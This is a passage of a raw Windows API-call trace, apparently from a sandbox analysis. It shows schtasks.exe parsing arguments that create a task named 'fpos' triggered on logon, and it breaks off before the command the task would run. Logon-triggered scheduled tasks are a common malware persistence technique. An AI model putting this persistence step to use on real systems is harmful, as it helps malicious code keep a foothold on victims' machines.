cchCount2=-1) returned 2 [0155.499] SetLastError (dwErrCode=0x0) [0155.499] SetLastError (dwErrCode=0x0) [0155.499] lstrlenW (lpString="/create") returned 7 [0155.499] lstrlenW (lpString="-/") returned 2 [0155.499] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.499] lstrlenW (lpString="?") returned 1 [0155.499] lstrlenW (lpString="?") returned 1 [0155.499] GetProcessHeap () returned 0x3b0000 [0155.499] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc1a0 [0155.499] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.499] GetProcessHeap () returned 0x3b0000 [0155.499] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cc1c0 [0155.499] lstrlenW (lpString="create") returned 6 [0155.499] GetProcessHeap () returned 0x3b0000 [0155.499] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc1e0 [0155.499] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.499] GetProcessHeap () returned 0x3b0000 [0155.499] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x14) returned 0x3cc200 [0155.500] _vsnwprintf (in: _Buffer=0x3cc1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|?|") returned 3 [0155.500] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.500] lstrlenW (lpString="|?|") returned 3 [0155.500] lstrlenW (lpString="|create|") returned 8 [0155.500] SetLastError (dwErrCode=0x490) [0155.500] lstrlenW (lpString="create") returned 6 [0155.500] lstrlenW (lpString="create") returned 6 [0155.500] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.500] GetProcessHeap () returned 0x3b0000 [0155.500] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1c0) returned 1 [0155.500] GetProcessHeap () returned 0x3b0000 [0155.500] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cc1c0, Size=0x14) returned 0x3cc220 [0155.500] lstrlenW (lpString="create") returned 6 [0155.500] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.500] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.500] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.500] lstrlenW (lpString="|create|") returned 8 [0155.500] lstrlenW (lpString="|create|") returned 8 [0155.500] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0155.500] SetLastError (dwErrCode=0x0) [0155.500] SetLastError (dwErrCode=0x0) [0155.500] SetLastError (dwErrCode=0x0) [0155.500] lstrlenW (lpString="/tn") returned 3 [0155.500] lstrlenW (lpString="-/") returned 2 [0155.500] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.500] lstrlenW (lpString="?") returned 1 [0155.500] lstrlenW (lpString="?") returned 1 [0155.500] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.500] lstrlenW (lpString="tn") returned 2 [0155.501] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.501] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|?|") returned 3 [0155.501] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.501] lstrlenW (lpString="|?|") returned 3 [0155.501] lstrlenW (lpString="|tn|") returned 4 [0155.501] SetLastError (dwErrCode=0x490) [0155.501] lstrlenW (lpString="create") returned 6 [0155.501] lstrlenW (lpString="create") returned 6 [0155.501] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.501] lstrlenW (lpString="tn") returned 2 [0155.501] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.501] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.501] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.501] lstrlenW (lpString="|create|") returned 8 [0155.501] lstrlenW (lpString="|tn|") returned 4 [0155.501] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0155.501] SetLastError (dwErrCode=0x490) [0155.501] lstrlenW (lpString="delete") returned 6 [0155.501] lstrlenW (lpString="delete") returned 6 [0155.501] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.501] lstrlenW (lpString="tn") returned 2 [0155.501] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.501] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|delete|") returned 8 [0155.501] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.501] lstrlenW (lpString="|delete|") returned 8 [0155.501] lstrlenW (lpString="|tn|") returned 4 [0155.501] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0155.501] SetLastError (dwErrCode=0x490) [0155.501] lstrlenW (lpString="query") returned 5 [0155.502] lstrlenW (lpString="query") returned 5 [0155.502] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.502] lstrlenW (lpString="tn") returned 2 [0155.502] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.502] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|query|") returned 7 [0155.502] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.502] lstrlenW (lpString="|query|") returned 7 [0155.502] lstrlenW (lpString="|tn|") returned 4 [0155.502] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0155.502] SetLastError (dwErrCode=0x490) [0155.502] lstrlenW (lpString="change") returned 6 [0155.502] lstrlenW (lpString="change") returned 6 [0155.502] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.502] lstrlenW (lpString="tn") returned 2 [0155.502] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.502] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|change|") returned 8 [0155.502] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.502] lstrlenW (lpString="|change|") returned 8 [0155.502] lstrlenW (lpString="|tn|") returned 4 [0155.502] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0155.502] SetLastError (dwErrCode=0x490) [0155.502] lstrlenW (lpString="run") returned 3 [0155.502] lstrlenW (lpString="run") returned 3 [0155.502] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.502] lstrlenW (lpString="tn") returned 2 [0155.502] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.502] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|run|") returned 5 [0155.502] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.503] lstrlenW (lpString="|run|") returned 5 [0155.503] lstrlenW (lpString="|tn|") returned 4 [0155.503] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0155.503] SetLastError (dwErrCode=0x490) [0155.503] lstrlenW (lpString="end") returned 3 [0155.503] lstrlenW (lpString="end") returned 3 [0155.503] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.503] lstrlenW (lpString="tn") returned 2 [0155.503] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.503] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|end|") returned 5 [0155.503] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.503] lstrlenW (lpString="|end|") returned 5 [0155.503] lstrlenW (lpString="|tn|") returned 4 [0155.503] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0155.503] SetLastError (dwErrCode=0x490) [0155.503] lstrlenW (lpString="showsid") returned 7 [0155.503] lstrlenW (lpString="showsid") returned 7 [0155.503] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.503] GetProcessHeap () returned 0x3b0000 [0155.503] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc220) returned 1 [0155.503] GetProcessHeap () returned 0x3b0000 [0155.503] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cc220, Size=0x16) returned 0x3cc220 [0155.503] lstrlenW (lpString="tn") returned 2 [0155.503] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.503] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|showsid|") returned 9 [0155.503] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tn|") returned 4 [0155.503] lstrlenW (lpString="|showsid|") returned 9 [0155.504] lstrlenW (lpString="|tn|") returned 4 [0155.504] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0155.504] SetLastError (dwErrCode=0x490) [0155.504] SetLastError (dwErrCode=0x490) [0155.504] SetLastError (dwErrCode=0x0) [0155.504] lstrlenW (lpString="/tn") returned 3 [0155.504] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0155.504] SetLastError (dwErrCode=0x490) [0155.504] SetLastError (dwErrCode=0x0) [0155.504] lstrlenW (lpString="/tn") returned 3 [0155.504] GetProcessHeap () returned 0x3b0000 [0155.504] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cc1c0 [0155.504] GetProcessHeap () returned 0x3b0000 [0155.504] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccbd0 [0155.504] SetLastError (dwErrCode=0x0) [0155.504] SetLastError (dwErrCode=0x0) [0155.504] lstrlenW (lpString="fpos") returned 4 [0155.504] lstrlenW (lpString="-/") returned 2 [0155.504] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0155.504] SetLastError (dwErrCode=0x490) [0155.504] SetLastError (dwErrCode=0x490) [0155.504] SetLastError (dwErrCode=0x0) [0155.504] lstrlenW (lpString="fpos") returned 4 [0155.504] StrChrIW (lpStart="fpos", wMatch=0x3a) returned 0x0 [0155.504] SetLastError (dwErrCode=0x490) [0155.504] SetLastError (dwErrCode=0x0) [0155.504] lstrlenW (lpString="fpos") returned 4 [0155.504] GetProcessHeap () returned 0x3b0000 [0155.504] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cd4c0 [0155.504] GetProcessHeap () returned 0x3b0000 [0155.504] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc00 [0155.504] SetLastError (dwErrCode=0x0) [0155.504] SetLastError (dwErrCode=0x0) [0155.504] lstrlenW (lpString="/sc") returned 3 [0155.505] lstrlenW (lpString="-/") returned 2 [0155.505] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.505] lstrlenW (lpString="?") returned 1 [0155.505] lstrlenW (lpString="?") returned 1 [0155.505] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.505] lstrlenW (lpString="sc") returned 2 [0155.505] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.505] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|?|") returned 3 [0155.505] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.505] lstrlenW (lpString="|?|") returned 3 [0155.505] lstrlenW (lpString="|sc|") returned 4 [0155.505] SetLastError (dwErrCode=0x490) [0155.505] lstrlenW (lpString="create") returned 6 [0155.505] lstrlenW (lpString="create") returned 6 [0155.505] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.505] lstrlenW (lpString="sc") returned 2 [0155.505] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.505] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.505] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.505] lstrlenW (lpString="|create|") returned 8 [0155.505] lstrlenW (lpString="|sc|") returned 4 [0155.505] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0155.505] SetLastError (dwErrCode=0x490) [0155.505] lstrlenW (lpString="delete") returned 6 [0155.505] lstrlenW (lpString="delete") returned 6 [0155.505] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.505] lstrlenW (lpString="sc") returned 2 [0155.505] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.505] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|delete|") returned 8 [0155.506] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.506] lstrlenW (lpString="|delete|") returned 8 [0155.506] lstrlenW (lpString="|sc|") returned 4 [0155.506] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0155.506] SetLastError (dwErrCode=0x490) [0155.506] lstrlenW (lpString="query") returned 5 [0155.506] lstrlenW (lpString="query") returned 5 [0155.506] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.506] lstrlenW (lpString="sc") returned 2 [0155.506] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.506] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|query|") returned 7 [0155.506] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.506] lstrlenW (lpString="|query|") returned 7 [0155.506] lstrlenW (lpString="|sc|") returned 4 [0155.506] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0155.506] SetLastError (dwErrCode=0x490) [0155.506] lstrlenW (lpString="change") returned 6 [0155.506] lstrlenW (lpString="change") returned 6 [0155.506] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.506] lstrlenW (lpString="sc") returned 2 [0155.506] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.506] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|change|") returned 8 [0155.506] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.506] lstrlenW (lpString="|change|") returned 8 [0155.506] lstrlenW (lpString="|sc|") returned 4 [0155.506] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0155.506] SetLastError (dwErrCode=0x490) [0155.506] lstrlenW (lpString="run") returned 3 [0155.506] lstrlenW (lpString="run") returned 3 [0155.506] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.507] lstrlenW (lpString="sc") returned 2 [0155.507] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.507] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|run|") returned 5 [0155.507] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.507] lstrlenW (lpString="|run|") returned 5 [0155.507] lstrlenW (lpString="|sc|") returned 4 [0155.507] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0155.507] SetLastError (dwErrCode=0x490) [0155.507] lstrlenW (lpString="end") returned 3 [0155.507] lstrlenW (lpString="end") returned 3 [0155.507] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.507] lstrlenW (lpString="sc") returned 2 [0155.507] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.507] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|end|") returned 5 [0155.507] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.507] lstrlenW (lpString="|end|") returned 5 [0155.507] lstrlenW (lpString="|sc|") returned 4 [0155.507] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0155.507] SetLastError (dwErrCode=0x490) [0155.507] lstrlenW (lpString="showsid") returned 7 [0155.507] lstrlenW (lpString="showsid") returned 7 [0155.507] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.507] lstrlenW (lpString="sc") returned 2 [0155.507] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.507] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|showsid|") returned 9 [0155.507] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|sc|") returned 4 [0155.507] lstrlenW (lpString="|showsid|") returned 9 [0155.507] lstrlenW (lpString="|sc|") returned 4 [0155.508] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0155.508] SetLastError (dwErrCode=0x490) [0155.508] SetLastError (dwErrCode=0x490) [0155.508] SetLastError (dwErrCode=0x0) [0155.508] lstrlenW (lpString="/sc") returned 3 [0155.508] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0155.508] SetLastError (dwErrCode=0x490) [0155.508] SetLastError (dwErrCode=0x0) [0155.508] lstrlenW (lpString="/sc") returned 3 [0155.508] GetProcessHeap () returned 0x3b0000 [0155.508] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cdc90 [0155.508] GetProcessHeap () returned 0x3b0000 [0155.508] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc30 [0155.508] SetLastError (dwErrCode=0x0) [0155.508] SetLastError (dwErrCode=0x0) [0155.508] lstrlenW (lpString="ONLOGON") returned 7 [0155.508] lstrlenW (lpString="-/") returned 2 [0155.508] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0155.508] SetLastError (dwErrCode=0x490) [0155.508] SetLastError (dwErrCode=0x490) [0155.508] SetLastError (dwErrCode=0x0) [0155.508] lstrlenW (lpString="ONLOGON") returned 7 [0155.508] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0155.508] SetLastError (dwErrCode=0x490) [0155.508] SetLastError (dwErrCode=0x0) [0155.508] lstrlenW (lpString="ONLOGON") returned 7 [0155.508] GetProcessHeap () returned 0x3b0000 [0155.508] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd4e0 [0155.508] GetProcessHeap () returned 0x3b0000 [0155.508] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc60 [0155.508] SetLastError (dwErrCode=0x0) [0155.508] SetLastError (dwErrCode=0x0) [0155.508] lstrlenW (lpString="/tr") returned 3 [0155.509] lstrlenW (lpString="-/") returned 2 [0155.509] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.509] lstrlenW (lpString="?") returned 1 [0155.509] lstrlenW (lpString="?") returned 1 [0155.509] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.509] lstrlenW (lpString="tr") returned 2 [0155.509] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.509] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|?|") returned 3 [0155.509] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.509] lstrlenW (lpString="|?|") returned 3 [0155.509] lstrlenW (lpString="|tr|") returned 4 [0155.509] SetLastError (dwErrCode=0x490) [0155.509] lstrlenW (lpString="create") returned 6 [0155.509] lstrlenW (lpString="create") returned 6 [0155.509] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.509] lstrlenW (lpString="tr") returned 2 [0155.509] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.509] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.509] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.509] lstrlenW (lpString="|create|") returned 8 [0155.509] lstrlenW (lpString="|tr|") returned 4 [0155.509] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0155.509] SetLastError (dwErrCode=0x490) [0155.509] lstrlenW (lpString="delete") returned 6 [0155.509] lstrlenW (lpString="delete") returned 6 [0155.509] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.509] lstrlenW (lpString="tr") returned 2 [0155.509] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.510] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|delete|") returned 8 [0155.510] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.510] lstrlenW (lpString="|delete|") returned 8 [0155.510] lstrlenW (lpString="|tr|") returned 4 [0155.510] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0155.510] SetLastError (dwErrCode=0x490) [0155.510] lstrlenW (lpString="query") returned 5 [0155.510] lstrlenW (lpString="query") returned 5 [0155.510] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.510] lstrlenW (lpString="tr") returned 2 [0155.510] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.510] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|query|") returned 7 [0155.510] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.510] lstrlenW (lpString="|query|") returned 7 [0155.510] lstrlenW (lpString="|tr|") returned 4 [0155.510] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0155.510] SetLastError (dwErrCode=0x490) [0155.510] lstrlenW (lpString="change") returned 6 [0155.510] lstrlenW (lpString="change") returned 6 [0155.510] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.510] lstrlenW (lpString="tr") returned 2 [0155.510] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.510] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|change|") returned 8 [0155.510] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.510] lstrlenW (lpString="|change|") returned 8 [0155.510] lstrlenW (lpString="|tr|") returned 4 [0155.510] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0155.510] SetLastError (dwErrCode=0x490) [0155.510] lstrlenW (lpString="run") returned 3 [0155.510] lstrlenW (lpString="run") returned 3 [0155.511] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.511] lstrlenW (lpString="tr") returned 2 [0155.511] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.511] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|run|") returned 5 [0155.511] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.511] lstrlenW (lpString="|run|") returned 5 [0155.511] lstrlenW (lpString="|tr|") returned 4 [0155.511] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0155.511] SetLastError (dwErrCode=0x490) [0155.511] lstrlenW (lpString="end") returned 3 [0155.511] lstrlenW (lpString="end") returned 3 [0155.511] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.511] lstrlenW (lpString="tr") returned 2 [0155.511] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.511] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|end|") returned 5 [0155.511] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.511] lstrlenW (lpString="|end|") returned 5 [0155.511] lstrlenW (lpString="|tr|") returned 4 [0155.511] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0155.511] SetLastError (dwErrCode=0x490) [0155.511] lstrlenW (lpString="showsid") returned 7 [0155.511] lstrlenW (lpString="showsid") returned 7 [0155.511] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.511] lstrlenW (lpString="tr") returned 2 [0155.511] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.511] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|showsid|") returned 9 [0155.511] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|tr|") returned 4 [0155.511] lstrlenW (lpString="|showsid|") returned 9 [0155.512] lstrlenW (lpString="|tr|") returned 4 [0155.512] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0155.512] SetLastError (dwErrCode=0x490) [0155.512] SetLastError (dwErrCode=0x490) [0155.512] SetLastError (dwErrCode=0x0) [0155.512] lstrlenW (lpString="/tr") returned 3 [0155.512] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0155.512] SetLastError (dwErrCode=0x490) [0155.512] SetLastError (dwErrCode=0x0) [0155.512] lstrlenW (lpString="/tr") returned 3 [0155.512] GetProcessHeap () returned 